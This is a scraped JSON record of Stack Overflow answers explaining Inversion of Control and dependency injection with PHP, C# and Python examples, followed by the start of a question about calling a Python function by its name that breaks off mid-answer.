move around. So now you can control where you are with your computer, instead of computer controlling it</code></em>.</p>\n\n<p>By implementing Inversion of Control, a software/object consumer get more controls/options over the software/objects, instead of being controlled or having less options.</p>\n\n<p><strong>Inversion of control as a design guideline serves the following purposes:</strong><br></p>\n\n<p>There is a decoupling of the execution of a certain task from implementation.<br>\nEvery module can focus on what it is designed for.<br>\nModules make no assumptions about what other systems do but rely on their contracts.<br>\nReplacing modules has no side effect on other modules<br> I will keep things abstract here, You can visit following links for detail understanding of the topic.<br>\n<a href=\"http://www.springbyexample.org/examples/intro-to-ioc-basic-constructor-injection.html\" rel=\"noreferrer\">A good read with example</a></p>\n\n<p><a href=\"http://howtodoinjava.com/2013/03/19/inversion-of-control-ioc-and-dependency-injection-di-patterns-in-spring-framework-and-related-interview-questions/\" rel=\"noreferrer\">Detailed explanation</a></p>\n" }, { "answer_id": 29729645, "author": "magallanes", "author_id": 202705, "author_profile": "https://Stackoverflow.com/users/202705", "pm_score": 4, "selected": false, "text": "<p>Programming speaking </p>\n\n<p>IoC in easy terms: It's the use of Interface as a way of specific something (such a field or a parameter) as a wildcard that can be used by some classes. It allows the re-usability of the code.</p>\n\n<p>For example, let's say that we have two classes : <strong>Dog</strong> and <strong>Cat</strong>. Both shares the same qualities/states: age, size, weight. So instead of creating a class of service called <strong>DogService</strong> and <strong>CatService</strong>, I can create a single one called <strong>AnimalService</strong> that allows to use Dog and Cat only if they use the interface <strong>IAnimal</strong>.</p>\n\n<p>However, pragmatically speaking, it has some backwards.</p>\n\n<p>a) <strong>Most of the developers don't know how to use it</strong>. For example, I can create a class called <strong>Customer</strong> and <strong>I can create automatically</strong> (using the tools of the IDE) an interface called <strong>ICustomer</strong>. So, it's not rare to find a folder filled with classes and interfaces, no matter if the interfaces will be reused or not. It's called BLOATED. Some people could argue that \"may be in the future we could use it\". :-|</p>\n\n<p>b) It has some limitings. For example, let's talk about the case of <strong>Dog</strong> and <strong>Cat</strong> and I want to add a new service (functionality) only for dogs. Let's say that I want to calculate the number of days that I need to train a dog (<strong><code>trainDays()</code></strong>), for cat it's useless, cats can't be trained (I'm joking).</p>\n\n<p>b.1) If I add <code>trainDays()</code> to the Service <strong>AnimalService</strong> then it also works with cats and it's not valid at all.</p>\n\n<p>b.2) I can add a condition in <code>trainDays()</code> where it evaluates which class is used. But it will break completely the IoC.</p>\n\n<p>b.3) I can create a new class of service called <strong>DogService</strong> just for the new functionality. But, it will increase the maintainability of the code because we will have two classes of service (with similar functionality) for <strong>Dog</strong> and it's bad.</p>\n" }, { "answer_id": 30210005, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 3, "selected": false, "text": "<p>Creating an object within class is called tight coupling, Spring removes this dependency by following a design pattern(DI/IOC). In which object of class in passed in constructor rather than creating in class. More over we give super class reference variable in constructor to define more general structure.</p>\n" }, { "answer_id": 31459340, "author": "Rush Frisby", "author_id": 266804, "author_profile": "https://Stackoverflow.com/users/266804", "pm_score": 2, "selected": false, "text": "<p>Using IoC you are not new'ing up your objects. Your IoC container will do that and manage the lifetime of them.</p>\n\n<p>It solves the problem of having to manually change every instantiation of one type of object to another.</p>\n\n<p>It is appropriate when you have functionality that may change in the future or that may be different depending on the environment or configuration used in.</p>\n" }, { "answer_id": 33405966, "author": "Daniel Sagenschneider", "author_id": 754404, "author_profile": "https://Stackoverflow.com/users/754404", "pm_score": 4, "selected": false, "text": "<p>Inversion of Control is a generic principle, while Dependency Injection realises this principle as a design pattern for object graph construction (i.e. configuration controls how the objects are referencing each other, rather than the object itself controlling how to get the reference to another object).</p>\n\n<p>Looking at Inversion of Control as a design pattern, we need to look at what we are inverting. Dependency Injection inverts control of constructing a graph of objects. If told in layman's term, inversion of control implies change in flow of control in the program. Eg. In traditional standalone app, we have main method, from where the control gets passed to other third party libraries(in case, we have used third party library's function), but through inversion of control control gets transferred from third party library code to our code, as we are taking the service of third party library. But there are other aspects that need to be inverted within a program - e.g. invocation of methods and threads to execute the code.</p>\n\n<p>For those interested in more depth on Inversion of Control a paper has been published outlining a more complete picture of Inversion of Control as a design pattern (OfficeFloor: using office patterns to improve software design <a href=\"http://doi.acm.org/10.1145/2739011.2739013\" rel=\"noreferrer\">http://doi.acm.org/10.1145/2739011.2739013</a> with a free copy available to download from <a href=\"http://www.officefloor.net/about.html\" rel=\"noreferrer\">http://www.officefloor.net/about.html</a>).</p>\n\n<p>What is identified is the following relationship:</p>\n\n<p>Inversion of Control (for methods) = Dependency (state) Injection + Continuation Injection + Thread Injection</p>\n\n<p>Summary of above relationship for Inversion of Control available - <a href=\"http://dzone.com/articles/inversion-of-coupling-control\" rel=\"noreferrer\">http://dzone.com/articles/inversion-of-coupling-control</a></p>\n" }, { "answer_id": 34712596, "author": "user2330678", "author_id": 2330678, "author_profile": "https://Stackoverflow.com/users/2330678", "pm_score": 6, "selected": false, "text": "<p>Answering only the first part.\nWhat is it?</p>\n\n<p>Inversion of Control (IoC) means to create instances of dependencies first and latter instance of a class (optionally injecting them through constructor), instead of creating an instance of the class first and then the class instance creating instances of dependencies.\nThus, inversion of control <strong>inverts</strong> the <strong>flow of control</strong> of the program. <strong>Instead of</strong> the <strong>callee controlling</strong> the <strong>flow of control</strong> (while creating dependencies), the <strong>caller controls the flow of control of the program</strong>.</p>\n" }, { "answer_id": 37604680, "author": "kusnaditjung tjung", "author_id": 1316199, "author_profile": "https://Stackoverflow.com/users/1316199", "pm_score": 2, "selected": false, "text": "<p>To understanding the concept, Inversion of Control (IoC) or Dependency Inversion Principle (DIP) involves two activities: abstraction, and inversion.\nDependency Injection (DI) is just one of the few of the inversion methods.</p>\n\n<p>To read more about this you can read my blog <a href=\"http://kusnaditjung.blogspot.co.uk/2016/05/dependency-inversion-principle-dip.html\" rel=\"nofollow\">Here</a></p>\n\n<ol>\n<li>What is it?</li>\n</ol>\n\n<p>It is a practice where you let the actual behavior come from outside of the boundary (Class in Object Oriented Programming). The boundary entity only knows the abstraction (e.g interface, abstract class, delegate in Object Oriented Programming) of it. </p>\n\n<ol start=\"2\">\n<li>What problems does it solve?</li>\n</ol>\n\n<p>In term of programming, IoC try to solve monolithic code by making it modular, decoupling various parts of it, and make it unit-testable. </p>\n\n<ol start=\"3\">\n<li>When is it appropriate and when not?</li>\n</ol>\n\n<p>It is appropriate most of the time, unless you have situation where you just want monolithic code (e.g very simple program)</p>\n" }, { "answer_id": 42263487, "author": "DDan", "author_id": 3278822, "author_profile": "https://Stackoverflow.com/users/3278822", "pm_score": 4, "selected": false, "text": "<p>I like this explanation: <a href=\"http://joelabrahamsson.com/inversion-of-control-an-introduction-with-examples-in-net/\" rel=\"noreferrer\">http://joelabrahamsson.com/inversion-of-control-an-introduction-with-examples-in-net/</a></p>\n\n<p>It start simple and shows code examples as well.</p>\n\n<p><a href=\"https://i.stack.imgur.com/H4Tbn.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/H4Tbn.png\" alt=\"enter image description here\"></a></p>\n\n<p>The consumer, X, needs the consumed class, Y, to accomplish something. That’s all good and natural, but does X really need to know that it uses Y?</p>\n\n<p>Isn’t it enough that X knows that it uses something that has the behavior, the methods, properties etc, of Y without knowing who actually implements the behavior?</p>\n\n<p>By extracting an abstract definition of the behavior used by X in Y, illustrated as I below, and letting the consumer X use an instance of that instead of Y it can continue to do what it does without having to know the specifics about Y.</p>\n\n<p><a href=\"https://i.stack.imgur.com/i4x6r.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/i4x6r.png\" alt=\"enter image description here\"></a></p>\n\n<p>In the illustration above Y implements I and X uses an instance of I. While it’s quite possible that X still uses Y what’s interesting is that X doesn’t know that. It just knows that it uses something that implements I.</p>\n\n<p>Read article for further info and description of benefits such as:</p>\n\n<ul>\n<li>X is not dependent on Y anymore</li>\n<li>More flexible, implementation can be decided in runtime</li>\n<li>Isolation of code unit, easier testing</li>\n</ul>\n\n<p>...</p>\n" }, { "answer_id": 46511905, "author": "Abdullah Al Farooq", "author_id": 7737270, "author_profile": "https://Stackoverflow.com/users/7737270", "pm_score": 4, "selected": false, "text": "<p>I understand that the answer has already been given here. But I still think, some basics about the inversion of control have to be discussed here in length for future readers.</p>\n\n<p>Inversion of Control (IoC) has been built on a very simple principle called <strong>Hollywood Principle</strong>. And it says that,</p>\n\n<blockquote>\n <p>Don't call us, we'll call you</p>\n</blockquote>\n\n<p>What it means is that don't go to the Hollywood to fulfill your dream rather if you are worthy then Hollywood will find you and make your dream comes true. Pretty much inverted, huh?</p>\n\n<p>Now when we discuss about the principle of IoC, we use to forget about the Hollywood. For IoC, there has to be three element, a Hollywood, you and a task like to fulfill your dream.</p>\n\n<p>In our programming world, <strong>Hollywood</strong> represent a generic framework (may be written by you or someone else), <strong>you</strong> represent the user code you wrote and <strong>the task</strong> represent the thing you want to accomplish with your code. Now you don't ever go to trigger your task by yourself, not in IoC! Rather you have designed everything in such that your framework will trigger your task for you. Thus you have built a reusable framework which can make someone a hero or another one a villain. But that framework is always in charge, it knows when to pick someone and that someone only knows what it wants to be.</p>\n\n<p>A real life example would be given here. Suppose, you want to develop a web application. So, you create a framework which will handle all the common things a web application should handle like handling http request, creating application menu, serving pages, managing cookies, triggering events etc.</p>\n\n<p>And then you leave some hooks in your framework where you can put further codes to generate custom menu, pages, cookies or logging some user events etc. On every browser request, your framework will run and executes your custom codes if hooked then serve it back to the browser.</p>\n\n<p>So, the idea is pretty much simple. Rather than creating a user application which will control everything, first you create a reusable framework which will control everything then write your custom codes and hook it to the framework to execute those in time.</p>\n\n<p>Laravel and EJB are examples of such a frameworks.</p>\n\n<p>Reference:</p>\n\n<p><a href=\"https://martinfowler.com/bliki/InversionOfControl.html\" rel=\"noreferrer\">https://martinfowler.com/bliki/InversionOfControl.html</a></p>\n\n<p><a href=\"https://en.wikipedia.org/wiki/Inversion_of_control\" rel=\"noreferrer\">https://en.wikipedia.org/wiki/Inversion_of_control</a></p>\n" }, { "answer_id": 47111262, "author": "Raghavendra N", "author_id": 3965675, "author_profile": "https://Stackoverflow.com/users/3965675", "pm_score": 4, "selected": false, "text": "<p>I found a very clear example <a href=\"http://php-di.org/doc/understanding-di.html\" rel=\"noreferrer\">here</a> which explains how the 'control is inverted'.</p>\n\n<p><strong>Classic code (without Dependency injection)</strong></p>\n\n<p>Here is how a code not using DI will roughly work:</p>\n\n<ul>\n<li>Application needs Foo (e.g. a controller), so:</li>\n<li>Application creates Foo</li>\n<li>Application calls Foo \n\n<ul>\n<li>Foo needs Bar (e.g. a service), so: </li>\n<li>Foo creates Bar </li>\n<li>Foo calls Bar \n\n<ul>\n<li>Bar needs Bim (a service, a repository, …), so:</li>\n<li>Bar creates Bim </li>\n<li>Bar does something</li>\n</ul></li>\n</ul></li>\n</ul>\n\n<p><strong>Using dependency injection</strong> </p>\n\n<p>Here is how a code using DI will roughly work:</p>\n\n<ul>\n<li>Application needs Foo, which needs Bar, which needs Bim, so:</li>\n<li>Application creates Bim</li>\n<li>Application creates Bar and gives it Bim</li>\n<li>Application creates Foo and gives it Bar</li>\n<li>Application calls Foo\n\n<ul>\n<li>Foo calls Bar\n\n<ul>\n<li>Bar does something</li>\n</ul></li>\n</ul></li>\n</ul>\n\n<p><strong><em>The control of the dependencies is inverted from one being called to the one calling.</em></strong></p>\n\n<p><strong>What problems does it solve?</strong></p>\n\n<p>Dependency injection makes it easy to swap with the different implementation of the injected classes. While unit testing you can inject a dummy implementation, which makes the testing a lot easier.</p>\n\n<p>Ex: Suppose your application stores the user uploaded file in the Google Drive, with DI your controller code may look like this:</p>\n\n<pre><code>class SomeController\n{\n private $storage;\n\n function __construct(StorageServiceInterface $storage)\n {\n $this-&gt;storage = $storage;\n }\n\n public function myFunction () \n {\n return $this-&gt;storage-&gt;getFile($fileName);\n }\n}\n\nclass GoogleDriveService implements StorageServiceInterface\n{\n public function authenticate($user) {}\n public function putFile($file) {}\n public function getFile($file) {}\n}\n</code></pre>\n\n<p>When your requirements change say, instead of GoogleDrive you are asked to use the Dropbox. You only need to write a dropbox implementation for the StorageServiceInterface. You don't have make any changes in the controller as long as Dropbox implementation adheres to the StorageServiceInterface.</p>\n\n<p>While testing you can create the mock for the StorageServiceInterface with the dummy implementation where all the methods return null(or any predefined value as per your testing requirement).</p>\n\n<p>Instead if you had the controller class to construct the storage object with the <code>new</code> keyword like this:</p>\n\n<pre><code>class SomeController\n{\n private $storage;\n\n function __construct()\n {\n $this-&gt;storage = new GoogleDriveService();\n }\n\n public function myFunction () \n {\n return $this-&gt;storage-&gt;getFile($fileName);\n }\n}\n</code></pre>\n\n<p>When you want to change with the Dropbox implementation you have to replace all the lines where <code>new</code> GoogleDriveService object is constructed and use the DropboxService. Besides when testing the SomeController class the constructor always expects the GoogleDriveService class and the actual methods of this class are triggered.</p>\n\n<p><strong>When is it appropriate and when not?</strong>\nIn my opinion you use DI when you think there are (or there can be) alternative implementations of a class.</p>\n" }, { "answer_id": 47838081, "author": "Sergiy Ostrovsky", "author_id": 2084960, "author_profile": "https://Stackoverflow.com/users/2084960", "pm_score": 4, "selected": false, "text": "<p><strong>Inversion of control</strong> is when you go to the grocery store and your wife gives you the list of products to buy.</p>\n\n<p>In programming terms, she passed a callback function <code>getProductList()</code> to the function you are executing - <code>doShopping()</code>.</p>\n\n<p>It allows user of the function to define some parts of it, making it more flexible.</p>\n" }, { "answer_id": 47963140, "author": "Sergiu Starciuc", "author_id": 5212814, "author_profile": "https://Stackoverflow.com/users/5212814", "pm_score": 4, "selected": false, "text": "<p>Inversion of control is about transferring control from library to the client. It makes more sense when we talk about a client that injects (passes) a function value (lambda expression) into a higher order function (library function) that controls (changes) the behavior of the library function.</p>\n<p>So, a simple implementation (with huge implications) of this pattern is a higher order library function (which accepts another function as an argument). The library function transfers control over its behavior by giving the client the ability to supply the &quot;control&quot; function as an argument.</p>\n<p>For example, library functions like &quot;map&quot;, &quot;flatMap&quot; are IoC implementations.</p>\n<p>Of course, a limited IoC version is, for example, a boolean function parameter. A client may control the library function by switching the boolean argument.</p>\n<p>A client or framework that injects library dependencies (which carry behavior) into libraries may also be considered IoC</p>\n" }, { "answer_id": 54700451, "author": "Toseef Zafar", "author_id": 1386990, "author_profile": "https://Stackoverflow.com/users/1386990", "pm_score": 2, "selected": false, "text": "<p>Inversion of control means you control how components (classes) behave. Why its called \"inversion\" because before this pattern the classes were hard wired and were definitive about what they will do e.g.</p>\n\n<p>you import a library that has a <code>TextEditor</code> and <code>SpellChecker</code> classes. Now naturally this <code>SpellChecker</code> would only check spellings for English language. Suppose if you want the <code>TextEditor</code> to handle German language and be able to spell check you have any control over it. </p>\n\n<p>with IoC this control is inverted i.e. its given to you, how? the library would implement something like this:</p>\n\n<p>It will have a <code>TextEditor</code> class and then it will have a <code>ISpeallChecker</code> (which is an interface instead of a concret <code>SpellChecker</code> class) and when you configure things in IoC container e.g. Spring you can provide your own implementation of 'ISpellChecker' which will check spelling for German language. so the control of how spell checking will work is ineverted is taken from that Library and given to you. Thats IoC. </p>\n" }, { "answer_id": 54931287, "author": "Daniel Sagenschneider", "author_id": 11128215, "author_profile": "https://Stackoverflow.com/users/11128215", "pm_score": 1, "selected": false, "text": "<p><strong>What is it?</strong> Inversion of (Coupling) Control, changes the direction of coupling for the method signature. With inverted control, the definition of the method signature is dictated by the method implementation (rather than the caller of the method). <a href=\"https://dzone.com/articles/inversion-of-coupling-control\" rel=\"nofollow noreferrer\">Full explanation here</a></p>\n\n<p><strong>Which problem does it solve?</strong> Top down coupling on methods. This subsequently removes need for refactoring.</p>\n\n<p><strong>When is it appropriate to use and when not?</strong> For small well defined applications that are not subject to much change, it is likely an overhead. However, for less defined applications that will evolve, it reduces the inherent coupling of the method signature. This gives the developers more freedom to evolve the application, avoiding the need to do expensive refactoring of code. Basically, allows the application to evolve with little rework.</p>\n" }, { "answer_id": 55666822, "author": "Daniel Andres Pelaez Lopez", "author_id": 6371836, "author_profile": "https://Stackoverflow.com/users/6371836", "pm_score": 1, "selected": false, "text": "<p>To understand IoC, we should talk about Dependency Inversion.</p>\n\n<p>Dependency inversion: Depend on abstractions, not on concretions.</p>\n\n<p>Inversion of control: Main vs Abstraction, and how the Main is the glue of the systems.</p>\n\n<p><img src=\"https://i.stack.imgur.com/6T11P.png\" alt=\"DIP and IoC\"></p>\n\n<p>I wrote about this with some good examples, you can check them here:</p>\n\n<p><a href=\"https://coderstower.com/2019/03/26/dependency-inversion-why-you-shouldnt-avoid-it/\" rel=\"nofollow noreferrer\">https://coderstower.com/2019/03/26/dependency-inversion-why-you-shouldnt-avoid-it/</a></p>\n\n<p><a href=\"https://coderstower.com/2019/04/02/main-and-abstraction-the-decoupled-peers/\" rel=\"nofollow noreferrer\">https://coderstower.com/2019/04/02/main-and-abstraction-the-decoupled-peers/</a></p>\n\n<p><a href=\"https://coderstower.com/2019/04/09/inversion-of-control-putting-all-together/\" rel=\"nofollow noreferrer\">https://coderstower.com/2019/04/09/inversion-of-control-putting-all-together/</a></p>\n" }, { "answer_id": 56050702, "author": "Hearen", "author_id": 2361308, "author_profile": "https://Stackoverflow.com/users/2361308", "pm_score": 2, "selected": false, "text": "<p><sub>Really not understanding why there are lots of wrong answers and even the accepted is not quite accurate making things hard to understand. The truth is always simple and clean. </sub></p>\n\n<p>As <a href=\"https://stackoverflow.com/a/3108/2361308#comment-1186335\">@Schneider commented</a> in <a href=\"https://stackoverflow.com/a/3108/2361308\">@Mark Harrison's answer</a>, please just read Martin Fowler's post discussing IoC. </p>\n\n<p><a href=\"https://martinfowler.com/bliki/InversionOfControl.html\" rel=\"nofollow noreferrer\">https://martinfowler.com/bliki/InversionOfControl.html</a> </p>\n\n<p>One of the most I love is:</p>\n\n<blockquote>\n <p>This phenomenon is Inversion of Control (also known as the Hollywood Principle - \"Don't call us, we'll call you\").</p>\n</blockquote>\n\n<p>Why? </p>\n\n<p><a href=\"https://en.wikipedia.org/wiki/Inversion_of_control\" rel=\"nofollow noreferrer\">Wiki for IoC</a>, I might quote a snippet. </p>\n\n<blockquote>\n <p>Inversion of control is used to increase modularity of the program and make it extensible ... then further popularized in 2004 by <strong>Robert C. Martin</strong> and <strong>Martin Fowler</strong>.</p>\n</blockquote>\n\n<p>Robert C. Martin: the author of <code>&lt;&lt;Clean Code: A Handbook of Agile Software Craftsmanship&gt;&gt;</code>. </p>\n\n<p>Martin Fowler: the author of <code>&lt;&lt;Refactoring: Improving the Design of Existing Code&gt;&gt;</code>. </p>\n" }, { "answer_id": 57385283, "author": "cattarantadoughan", "author_id": 2467919, "author_profile": "https://Stackoverflow.com/users/2467919", "pm_score": 3, "selected": false, "text": "<p><strong>I've read a lot of answers for this but if someone is still confused and needs a plus ultra \"laymans term\" to explain IoC here is my take:</strong></p>\n\n<p>Imagine a parent and child talking to each other.</p>\n\n<p><strong>Without IoC:</strong></p>\n\n<p><strong>*Parent</strong>: You can only speak when I ask you questions and you can only act when I give you permission.</p>\n\n<p><strong>Parent</strong>: This means, you can't ask me if you can eat, play, go to the bathroom or even sleep if I don't ask you.</p>\n\n<p><strong>Parent</strong>: Do you want to eat?</p>\n\n<p><strong>Child</strong>: No.</p>\n\n<p><strong>Parent</strong>: Okay, I'll be back. Wait for me.</p>\n\n<p><strong>Child</strong>: (Wants to play but since there's no question from the parent, the child can't do anything).</p>\n\n<p><em>After 1 hour...</em></p>\n\n<p><strong>Parent</strong>: I'm back. Do you want to play?</p>\n\n<p><strong>Child</strong>: Yes.</p>\n\n<p><strong>Parent</strong>: Permission granted.</p>\n\n<p><strong>Child</strong>: (finally is able to play).</p>\n\n<p>This simple scenario explains the control is centered to the parent. The child's freedom is restricted and highly depends on the parent's question. The child can <strong>ONLY</strong> speak when asked to speak, and can <strong>ONLY</strong> act when granted permission.</p>\n\n<p><strong>With IoC:</strong></p>\n\n<p>The child has now the ability to ask questions and the parent can respond with answers and permissions. Simply means the control is inverted!\nThe child is now free to ask questions anytime and though there is still dependency with the parent regarding permissions, he is not dependent in the means of speaking/asking questions.</p>\n\n<p><em>In a technological way of explaining, this is very similar to console/shell/cmd vs GUI interaction. (Which is answer of Mark Harrison above no.2 top answer).\nIn console, you are dependent on the what is being asked/displayed to you and you can't jump to other menus and features without answering it's question first; following a strict sequential flow. (programmatically this is like a method/function loop).\nHowever with GUI, the menus and features are laid out and the user can select whatever it needs thus having more <strong>control</strong> and being less restricted. (programmatically, menus have callback when selected and an action takes place).</em></p>\n" }, { "answer_id": 57464200, "author": "V. S.", "author_id": 10014202, "author_profile": "https://Stackoverflow.com/users/10014202", "pm_score": 3, "selected": false, "text": "<p>Since already there are many answers for the question but none of them shows the breakdown of Inversion Control term I see an opportunity to give a more concise and useful answer.</p>\n\n<p>Inversion of Control is a pattern that implements the Dependency Inversion Principle (DIP). DIP states the following: 1. High-level modules should not depend on low-level modules. Both should depend on abstractions (e.g. interfaces). 2. Abstractions should not depend on details. Details (concrete implementations) should depend on abstractions. </p>\n\n<p>There are three types of Inversion of Control:</p>\n\n<p><strong>Interface Inversion</strong> \nProviders shouldn’t define an interface. Instead, the consumer should define the interface and providers must implement it. Interface Inversion allows eliminating the necessity to modify the consumer each time when a new provider added. </p>\n\n<p><strong>Flow Inversion</strong> \nChanges control of the flow. For example, you have a console application where you asked to enter many parameters and after each entered parameter you are forced to press Enter. You can apply Flow Inversion here and implement a desktop application where the user can choose the sequence of parameters’ entering, the user can edit parameters, and at the final step, the user needs to press Enter only once.</p>\n\n<p><strong>Creation Inversion</strong> \nIt can be implemented by the following patterns: Factory Pattern, Service Locator, and Dependency Injection. Creation Inversion helps to eliminate dependencies between types moving the process of dependency objects creation outside of the type that uses these dependency objects. Why dependencies are bad? Here are a couple of examples: direct creation of a new object in your code makes testing harder; it is impossible to change references in assemblies without recompilation (OCP principle violation); you can’t easily replace a desktop-UI by a web-UI.</p>\n" }, { "answer_id": 59695363, "author": "Daniel W.", "author_id": 1948292, "author_profile": "https://Stackoverflow.com/users/1948292", "pm_score": 0, "selected": false, "text": "<p>Inversion of control is an indicator for a shift of responsibility in the program.</p>\n<p>There is an inversion of control every time when a dependency is granted ability to directly act on the caller's space.</p>\n<p>The smallest IoC is passing a variable by reference, lets look at non-IoC code first:</p>\n<pre><code>function isVarHello($var) {\n return ($var === &quot;Hello&quot;);\n}\n\n// Responsibility is within the caller\n$word = &quot;Hello&quot;;\nif (isVarHello($word)) {\n $word = &quot;World&quot;;\n}\n</code></pre>\n<p>Let's now invert the control by shifting the responsibility of a result from the caller to the dependency:</p>\n<pre><code>function changeHelloToWorld(&amp;$var) {\n // Responsibility has been shifted to the dependency\n if ($var === &quot;Hello&quot;) {\n $var = &quot;World&quot;;\n }\n}\n\n$word = &quot;Hello&quot;;\nchangeHelloToWorld($word);\n</code></pre>\n<hr />\n<p>Here is another example using OOP:</p>\n<pre><code>&lt;?php\n\nclass Human {\n private $hp = 0.5;\n\n function consume(Eatable $chunk) {\n // $this-&gt;chew($chunk);\n $chunk-&gt;unfoldEffectOn($this);\n }\n\n function incrementHealth() {\n $this-&gt;hp++;\n }\n function isHealthy() {}\n function getHungry() {}\n // ...\n}\n\ninterface Eatable {\n public function unfoldEffectOn($body);\n}\n\nclass Medicine implements Eatable {\n function unfoldEffectOn($human) {\n // The dependency is now in charge of the human.\n $human-&gt;incrementHealth();\n $this-&gt;depleted = true;\n }\n}\n\n$human = new Human();\n$medicine = new Medicine();\nif (!$human-&gt;isHealthy()) {\n $human-&gt;consume($medicine); \n}\n\nvar_dump($medicine);\nvar_dump($human);\n</code></pre>\n<p><sub>*) Disclaimer: The real world human uses a message queue.</sub></p>\n" }, { "answer_id": 64629617, "author": "M.Minbashi", "author_id": 7271564, "author_profile": "https://Stackoverflow.com/users/7271564", "pm_score": 1, "selected": false, "text": "<p>The IoC principle helps in designing loosely coupled classes which make them testable, maintainable and extensible.</p>\n" }, { "answer_id": 71012995, "author": "Ryan Deschamps", "author_id": 3050664, "author_profile": "https://Stackoverflow.com/users/3050664", "pm_score": 0, "selected": false, "text": "<p>I think of Inversion of Control in the context of using a library or a framework.</p>\n<p>The traditional way of &quot;control&quot; is that we build a controller class (usually main, but it could be anything), import a library and then use your controller class to &quot;control&quot; the action of the software components. Like your first C/Python program (after Hello World).</p>\n<pre><code>import pandas as pd\ndf = new DataFrame()\n# Now do things with the dataframe.\n</code></pre>\n<p>In this case, we need to know what a Dataframe is in order to work with it. You need to know what methods to use, how values it takes and so on. If you add it to your own class through polymorphism or just calling it anew, your class will need the DataFrame library to work properly.</p>\n<p>&quot;Inversion of Control&quot; means that the process is reversed. Instead of your classes controlling elements of a library, framework or engine, you register classes and send them back to the engine to be controlled. Worded another way, IoC can mean we are using our code to configuring a framework. You could also think of it as similar to the way we use functions in <code>map</code> or <code>filter</code> to deal with data in a list, except apply that to an entire application.</p>\n<p>If you are the one who has built the engine, then you are probably using Dependency Injection approaches (described above) to make that happen. If you are the one using the engine (more common), then you should be able to just declare classes, add appropriate notations and let the framework do the rest of the work (e.g. creating routes, assigning servlets, setting events, outputting widgets etc.) for you.</p>\n" }, { "answer_id": 72872120, "author": "Rodney P. Barbati", "author_id": 1588303, "author_profile": "https://Stackoverflow.com/users/1588303", "pm_score": 2, "selected": false, "text": "<p>I feel a little awkward answering this question with so many prior answers, but I just didn't think any of the answers just stated the concept simply enough.</p>\n<p>So here we go...</p>\n<p>In a non-IOC application, you would code a process flow and include all the detailed steps in it. Consider a program that creates a report - it would include code to set up the printer connection, print a header, then iterate through detail records, then print a footer, maybe perform a page feed, etc.</p>\n<p>In an IOC version of a report program, you would configure an instance of a generic, reusable Report class - that is, a class that contains the process flow for printing a report, but has none of the details in it. The configuration you provide might use DI to specify what class the Report should call to print a header, what class the Report should call to print a detail line, and what class the Report should call to print the footer.</p>\n<p>So the inversion of control comes from the controlling process not being your code, but rather contained in an external, reusable class (Report) that allows you to specify or inject (via DI) the details of the report - the header, the detail line, the footer.</p>\n<p>You could produce any number of different reports using the same Report class (the controlling class) - by providing different sets of the detail classes. You are inverting your control by relying on the Report class to provide it, and merely specifying the differences between reports via injection.</p>\n<p>In some ways, IOC could be compared to a drive backup application - the backup always performs the same steps, but the set of files backed up can be completely different.</p>\n<p>And now to answer the original questions specifically...</p>\n<ul>\n<li>What is it? IOC is relying on a reusable controller class and providing the details specific to your problem at hand.</li>\n<li>Which problem does it solve? Prevents you from having to restate a controlling process flow.</li>\n<li>When is it appropriate to use and when not? Whenever you are creating a process flow where the control flow is always the same, and only the details are changed. You would not use it when creating a one-off, custom process flow.</li>\n</ul>\n<p>Finally, IOC is not DI, and DI is not IOC - DI can often be used in IOC (in order to state the details of the abstracted control class).</p>\n<p>Anyway - I hope that helps.</p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3058", "https://Stackoverflow.com", "https://Stackoverflow.com/users/358/" ]
Inversion of Control (IoC) can be quite confusing when it is first encountered. 1. What is it? 2. Which problem does it solve? 3. When is it appropriate to use and when not?
The **`Inversion-of-Control` (IoC)** pattern, is about providing *any kind* of `callback` (which controls reaction), instead of acting ourself directly (in other words, inversion and/or redirecting control to external handler/controller). The **`Dependency-Injection` (DI)** pattern is a more specific version of IoC pattern, and is all about removing dependencies from your code. > > Every `DI` implementation can be considered `IoC`, but one should not call it `IoC`, because implementing Dependency-Injection is harder than callback (Don't lower your product's worth by using general term "IoC" instead). > > > For DI example, say your application has a text-editor component, and you want to provide spell checking. Your standard code would look something like this: ```cs public class TextEditor { private SpellChecker checker; public TextEditor() { this.checker = new SpellChecker(); } } ``` What we've done here creates a dependency between the `TextEditor` and the `SpellChecker`. In an IoC scenario we would instead do something like this: ```cs public class TextEditor { private IocSpellChecker checker; public TextEditor(IocSpellChecker checker) { this.checker = checker; } } ``` In the first code example we are instantiating `SpellChecker` (`this.checker = new SpellChecker();`), which means the `TextEditor` class directly depends on the `SpellChecker` class. In the second code example we are creating an abstraction by having the `SpellChecker` dependency class in `TextEditor`'s constructor signature (not initializing dependency in class). This allows us to call the dependency then pass it to the TextEditor class like so: ```cs SpellChecker sc = new SpellChecker(); // dependency TextEditor textEditor = new TextEditor(sc); ``` Now the client creating the `TextEditor` class has control over which `SpellChecker` implementation to use because we're injecting the dependency into the `TextEditor` signature.
3,061
<p>How do I call a function, using a string with the function's name? For example:</p> <pre><code>import foo func_name = &quot;bar&quot; call(foo, func_name) # calls foo.bar() </code></pre>
[ { "answer_id": 3071, "author": "Patrick Johnmeyer", "author_id": 363, "author_profile": "https://Stackoverflow.com/users/363", "pm_score": 12, "selected": true, "text": "<p>Given a module <code>foo</code> with method <code>bar</code>:</p>\n<pre><code>import foo\nbar = getattr(foo, 'bar')\nresult = bar()\n</code></pre>\n<p><a href=\"https://docs.python.org/library/functions.html#getattr\" rel=\"noreferrer\"><code>getattr</code></a> can similarly be used on class instance bound methods, module-level methods, class methods... the list goes on.</p>\n" }, { "answer_id": 4605, "author": "HS.", "author_id": 618, "author_profile": "https://Stackoverflow.com/users/618", "pm_score": 9, "selected": false, "text": "<p>Based on <a href=\"https://stackoverflow.com/a/3071/365102\">Patrick's solution</a>, to get the module dynamically as well, import it using:</p>\n<pre><code>module = __import__('foo')\nfunc = getattr(module, 'bar')\nfunc()\n</code></pre>\n" }, { "answer_id": 834451, "author": "sastanin", "author_id": 25450, "author_profile": "https://Stackoverflow.com/users/25450", "pm_score": 10, "selected": false, "text": "<ul>\n<li><p>Using <a href=\"http://docs.python.org/library/functions.html#locals\" rel=\"noreferrer\"><code>locals()</code></a>, which returns a dictionary with the current local symbol table:</p>\n<pre><code>locals()[&quot;myfunction&quot;]()\n</code></pre>\n</li>\n<li><p>Using <a href=\"http://docs.python.org/library/functions.html#globals\" rel=\"noreferrer\"><code>globals()</code></a>, which returns 